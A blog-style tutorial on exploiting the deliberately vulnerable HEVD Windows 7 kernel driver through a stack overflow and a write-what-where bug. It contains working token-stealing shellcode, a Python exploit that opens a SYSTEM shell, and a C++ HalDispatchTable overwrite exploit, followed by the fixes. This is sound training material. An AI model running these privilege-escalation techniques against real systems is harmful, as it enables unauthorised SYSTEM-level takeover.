Skip to content
windowskernelexploitationhevddriverprivilege-escalationtoken-stealinghaldispatchtable

HEVD: Windows Kernel Driver Exploitation — Stack Overflow & Arbitrary Write

10 min read

Target: HackSys Extreme Vulnerable Driver (HEVD), Windows 7 x86 Environment: WinDbg kernel debugging (bcdedit /debug on, serial connection)


Overview

HEVD (HackSys Extreme Vulnerable Driver) is a vulnerable Windows kernel driver designed to expose various vulnerability classes through its IOCTL handlers. This post covers two vulnerabilities:

  1. Stack buffer overflow (IOCTL 0x222003) — a user-controlled size passed to RtlCopyMemory without bounds checking
  2. Arbitrary write (Write-What-Where) (IOCTL 0x22200B) — an arbitrary write via an unvalidated kernel-mode pointer write

Both vulnerabilities lead to SYSTEM privilege escalation from a normal user process.


Driver Fundamentals

What Is a Driver, and What Kinds Exist

A driver acts as an intermediary layer between applications, the OS, and hardware devices.

Application (calls OS functions) -> OS (calls driver functions) -> Device I/O

Types of driver development kits (WDK, DDK, etc.)

Software drivers that run in user mode

WDM Drivers and the Device Stack

WDM (Windows Driver Model) driver structure

Device stack — filter driver, function driver, bus driver layers

Privileged Callback Functions

Driver privileged callback function structure

Environment Setup and Commands

HEVD exploitation environment setup and WinDbg command reference


IOCTL and Driver Communication Basics

To make requests to the HEVD driver, a handle must first be opened for communication. The driver creates a device named HackSysExtremeVulnerableDriver, and on success the device is assigned an IRP handler for IOCTLs.

RtlInitUnicodeString(&DeviceName, L"\\Device\\HackSysExtremeVulnerableDriver");
RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\HackSysExtremeVulnerableDriver");
 
Status = IoCreateDevice(DriverObject, 0, &DeviceName,
                        FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN,
                        FALSE, &DeviceObject);

An IOCTL is a 32-bit number encapsulated in an IRP request. It's defined using the CTL_CODE macro:

#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
 
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK    IOCTL(0x800)
#define HEVD_IOCTL_ARBITRARY_WRITE          IOCTL(0x802)

Computing the IOCTL code:

FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS     = 0x00000000
FUNCTION            = 0x800
METHOD_NEITHER      = 3
 
calc = hex((FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER)
print(calc)  # 0x222003

Vulnerability 1: Stack Buffer Overflow

Vulnerable Code

__declspec(safebuffers)
NTSTATUS TriggerBufferOverflowStack(
    _In_ PVOID UserBuffer,
    _In_ SIZE_T Size
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };  // BUFFER_SIZE = 0x200 (512 bytes)
 
    PAGED_CODE();
    __try {
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
        // Verifies that the UserMode buffer is in the user portion of the actual address space and is aligned
 
#ifndef SECURE
        // Vulnerability: the user-supplied Size is passed directly, with no bounds check
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#else
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
    }
    return Status;
}

ProbeForRead only verifies that UserBuffer lies in user-mode address space; it does not validate Size. Passing Size > sizeof(KernelBuffer) causes a kernel stack overflow.

This driver's buffer is 512 x ULONG(4) = 2048 (0x800) bytes. Since TriggerBufferOverflowStack takes the buffer and length and copies them as-is with RtlCopyMemory, the BOF occurs here.

Triggering the Bug and Finding the Offset

First, trigger it with a 2048-byte buffer:

import ctypes, sys
from ctypes import *
 
kernel32 = windll.kernel32
dev = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)
 
if not dev or dev == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
 
buf = "A" * 2048
bufLength = len(buf)
 
kernel32.DeviceIoControl(dev, 0x222003, buf, bufLength, None, 0, byref(c_ulong()), None)

Since this is still within the buffer size, nothing happens.

Sending a 2048-byte payload — normal behavior before the overflow

Increasing the buffer size to 0x900 corrupts EBP and EIP and causes a blue screen.

0x900-byte payload — EBP/EIP corruption and kernel panic (BSOD)

Confirmed blue screen

Now we need to find the offset that overwrites EIP. Tools like pwntools' cyclic or mona's pattern_create work well for this.

Confirming the EIP offset with a cyclic pattern (2080 bytes)

Windows 7 x86 Structure Offsets

Structure Field Offset
_KPCR.PcrbData.CurrentThread FS:[0x124] —
_KTHREAD.ApcState.Process +0x50 —
_EPROCESS.UniqueProcessId +0xB4 —
_EPROCESS.ActiveProcessLinks.Flink +0xB8 —
_EPROCESS.Token +0xF8 —

Confirming the offsets with WinDbg:

kd> dt nt!_KPCR
   +0x120 PrcbData         : _KPRCB

kd> dt nt!_KPRCB
   +0x004 CurrentThread    : Ptr32 _KTHREAD

So the CurrentThread value is at 0x120 + 0x004 = 0x124.

kd> dt nt!_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0f8 Token            : _EX_FAST_REF

How Token-Stealing Shellcode Works

Every process running on the system has an associated EPROCESS structure that encapsulates its data. On Windows x86, the FS register points to the KPCR (Kernel Processor Control Region) structure.

Pointer chain: FS:[0x124] -> _KTHREAD -> ApcState.Process -> _EPROCESS

LIST_ENTRY is a doubly linked list connecting every running process, and Flink points to the next process's LIST_ENTRY. The basic technique is to walk this list to find the SYSTEM process (PID 4) and copy its Token into the current process's _EPROCESS.

Token is stored in an _EX_FAST_REF union, which has two fields: RefCnt (a reference counter) and Value. For stability, masking is needed to preserve RefCnt:

? [token] & 0xFFFFFFF8  ; strip the low 3 bits (RefCnt)

Token-Stealing Shellcode (x86)

pushad
xor  eax, eax
mov  eax, fs:[eax + 0x124]   ; KPCR -> CurrentThread (_KTHREAD)
mov  eax, [eax + 0x50]       ; _KTHREAD -> ApcState.Process (_EPROCESS)
mov  ecx, eax                ; save the current process's EPROCESS
mov  edx, 0x4                ; SYSTEM PID
 
search_system_process:
    mov eax, [eax + 0xb8]   ; ActiveProcessLinks.Flink
    sub eax, 0xb8            ; back up to the start of the next EPROCESS
    cmp [eax + 0xb4], edx   ; UniqueProcessId == 4?
    jnz search_system_process
 
mov edx, [eax + 0xf8]       ; SYSTEM process's Token
and edx, 0xFFFFFFF8          ; strip RefCnt bits
mov edi, [ecx + 0xf8]       ; current process's Token
and edi, 0x7                 ; preserve RefCnt
add edx, edi
mov [ecx + 0xf8], edx       ; overwrite the current process's Token
 
popad
xor eax, eax                 ; STATUS_SUCCESS
pop ebp
ret 8

Exploit Code (Python 2 / ctypes)

Since NX (DEP) is enabled, we bypass it by allocating an executable (RWX) memory block with VirtualAlloc() and copying the shellcode into it.

import ctypes, sys, struct
from ctypes import *
from subprocess import *
 
def main():
    kernel32 = windll.kernel32
    hevDevice = kernel32.CreateFileA(
        "\\\\.\\HackSysExtremeVulnerableDriver",
        0xC0000000, 0, None, 0x3, 0, None
    )
    if not hevDevice or hevDevice == -1:
        print "[-] Failed to get device handle"
        sys.exit(0)
 
    shellcode = bytearray(
        "\x60"                              # pushad
        "\x31\xc0"                          # xor eax, eax
        "\x64\x8b\x80\x24\x01\x00\x00"     # mov eax, [fs:eax+0x124]
        "\x8b\x40\x50"                      # mov eax, [eax+0x50]
        "\x89\xc1"                          # mov ecx, eax
        "\xba\x04\x00\x00\x00"             # mov edx, 0x4
        "\x8b\x80\xb8\x00\x00\x00"         # mov eax, [eax+0xb8]
        "\x2d\xb8\x00\x00\x00"             # sub eax, 0xb8
        "\x39\x90\xb4\x00\x00\x00"         # cmp [eax+0xb4], edx
        "\x75\xed"                          # jnz -19
        "\x8b\x90\xf8\x00\x00\x00"         # mov edx, [eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"         # mov [ecx+0xf8], edx
        "\x61"                              # popad
        "\x31\xc0"                          # xor eax, eax
        "\x5d"                              # pop ebp
        "\xc2\x08\x00"                      # ret 0x8
    )
 
    ptr = kernel32.VirtualAlloc(
        c_int(0), c_int(len(shellcode)),
        c_int(0x3000), c_int(0x40)          # MEM_COMMIT|RESERVE, PAGE_EXECUTE_READWRITE
    )
    buff = (c_char * len(shellcode)).from_buffer(shellcode)
    kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))
    shellcode_ptr = struct.pack("<L", ptr)
 
    # Stack layout: 0x820 bytes of padding + EBP (4) + EIP (shellcode pointer)
    buf = "A" * 0x820 + "\x44\x44\x44\x44" + shellcode_ptr
    kernel32.DeviceIoControl(
        hevDevice, 0x222003,
        buf, len(buf),
        None, 0, byref(c_ulong()), None
    )
    Popen("start cmd", shell=True)
 
if __name__ == "__main__":
    main()

Confirming SYSTEM token leakage — checking the EPROCESS Token field in WinDbg

Token masking (0xFFFFFFF8) — stripping the RefCnt bits

Obtained SYSTEM privileges — cmd.exe running as SYSTEM


Vulnerability 2: Arbitrary Write (Write-What-Where)

Vulnerable Code

NTSTATUS TriggerArbitraryWrite(
    _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
)
{
    PULONG_PTR What  = NULL;
    PULONG_PTR Where = NULL;
    NTSTATUS Status  = STATUS_SUCCESS;
 
    PAGED_CODE();
    __try {
        ProbeForRead((PVOID)UserWriteWhatWhere,
                     sizeof(WRITE_WHAT_WHERE),
                     (ULONG)__alignof(UCHAR));
 
        What  = UserWriteWhatWhere->What;
        Where = UserWriteWhatWhere->Where;
 
        // Vulnerability: writes the value pointed to by 'What' to the memory
        // location pointed to by 'Where', without properly validating that
        // either 'Where' or 'What' points into user mode.
        *(Where) = *(What);
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
    }
    return Status;
}

This is a write-what-where primitive: both the source (What) and destination (Where) pointers are attacker-controlled in kernel space. In other words, an attacker can write an arbitrary value to an arbitrary location in kernel address space.

The TriggerArbitraryWrite function viewed in IDA

ArbitraryWrite IOCTL handler — UserWriteWhatWhere structure

Vulnerable code dereferencing the What/Where pointers

Vulnerable flow where v1's value is written to v2

Computing the IOCTL Code

FILE_DEVICE_UNKNOWN = 0x00000022
FILE_ANY_ACCESS     = 0x00000000
FUNCTION            = 0x802          # arbitrary write function index
METHOD_NEITHER      = 3
 
ioctl = (FILE_DEVICE_UNKNOWN << 16) | (FILE_ANY_ACCESS << 14) | (FUNCTION << 2) | METHOD_NEITHER
print(hex(ioctl))  # 0x22200b

Exploitation Strategy: Overwriting HalDispatchTable

A good overwrite target is nt!HalDispatchTable, one of the kernel's dispatch tables. This table is an array of function pointers holding the addresses of HAL routines.

nt!HalDispatchTable+0x4 holds a pointer to hal!HaliQuerySystemInformation. This function is called internally by NtQueryIntervalProfile (an undocumented NT system call that can be invoked from user mode without elevated privileges).

kd> dps nt!KeServiceDescriptorTable L4
82babb00  82aa1cbc nt!KiServiceTable
82babb04  00000000
82babb08  00000191
82babb0c  82aa2304 nt!KiArgumentTable

kd> u nt!KeQueryIntervalProfile+0x23
82d0f599  call dword ptr [nt!HalDispatchTable+0x4 (82b6f34c)]

Attack flow:

  1. Leak the kernel VA of nt!HalDispatchTable via NtQuerySystemInformation(SystemModuleInformation) combined with a user-mode LoadLibrary offset calculation
  2. Use the Write-What-Where primitive to overwrite HalDispatchTable+0x4 with the shellcode address
  3. Call NtQueryIntervalProfile to trigger the overwritten function pointer

Leaking the Kernel Base and Obtaining the HalDispatchTable Address

// Get the kernel module list via NtQuerySystemInformation class 11
NTSTATUS callResult = NtQuerySystemInformation(
    (SYSTEM_INFORMATION_CLASS)11, &bufferPtr, 0, &SystemInformationLength);
 
// Re-query with the proper size
callResult = NtQuerySystemInformation(
    (SYSTEM_INFORMATION_CLASS)11, moduleInfoBuf,
    moduleInfoBufSize, &SystemInformationLength);
 
LPVOID kernelBase  = moduleInfoBuf->Module[0].Base;
PCHAR  kernelImage = moduleInfoBuf->Module[0].ImagePath + pathLength;
 
// Load the kernel image in user mode to calculate symbol offsets
HMODULE umHandle    = LoadLibraryA(kernelImage);
LPVOID  umHDT       = GetProcAddress(umHandle, "HalDispatchTable");
LPVOID  kmHDT       = (PUCHAR)umHDT - (PUCHAR)umHandle + (PUCHAR)kernelBase;

To bypass ASLR, since we have the base address of the loaded module, we can calculate the kernel's actual HalDispatchTable address using the kernel image handle loaded in userland.

Leaking the kernel module base and HalDispatchTable address via NtQuerySystemInformation

Testing the Vulnerability (What=AAAA, Where=BBBB)

PULONG lpInBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x8);
RtlFillMemory((PVOID)lpInBuffer,      0x4, 0x41); // What
RtlFillMemory((PVOID)(lpInBuffer + 1), 0x4, 0x42); // Where
 
DeviceIoControl(hDev, HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
                (LPVOID)lpInBuffer, (DWORD)0x8, NULL, 0, &lpBytesReturned, NULL);

Result: an access violation occurs when attempting to write to address 0x42424242, confirming that both What and Where are controllable.

Testing with What=AAAA, Where=BBBB — confirming the arbitrary write vulnerability

Full Exploit (C++)

LPVOID whereAddress = (LPVOID)((ULONG)HALDispatchTable + 0x4);
 
// Token-stealing shellcode (same as above, ends with just ret)
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode),
                              MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcodeAddress, shellcode, sizeof(shellcode));
 
LPVOID sourceAddress = &shellcodeAddress;
 
// WRITE_WHAT_WHERE: [What(4)] + [Where(4)]
byte theArray[8];
memcpy(theArray,     &sourceAddress, 4);  // What  = &shellcodeAddress
memcpy(theArray + 4, &whereAddress,  4);  // Where = HalDispatchTable+0x4
 
DeviceIoControl(deviceHandle, 0x22200B, theArray, sizeof(theArray),
                NULL, 0, &bytesReturned, NULL);
 
// Trigger: NtQueryIntervalProfile internally calls HalDispatchTable[1]
// which now points to our shellcode
NtQueryIntervalProfile(0xB00D, &bytesReturned);
 
// Spawn a SYSTEM shell
CreateProcessA("C:\\Windows\\System32\\cmd.exe", ...);

Key Takeaways

Vulnerability Root Cause Fix
Stack BOF RtlCopyMemory using a user-supplied Size Use sizeof(KernelBuffer) as the copy bound
Arbitrary write *(Where) = *(What) with no pointer validation ProbeForWrite(Where) — the kernel must never write to an address supplied from user mode without validation

Both vulnerabilities share the same mitigation theme: never trust kernel-mode pointer operations that use user-supplied values without thorough validation.


References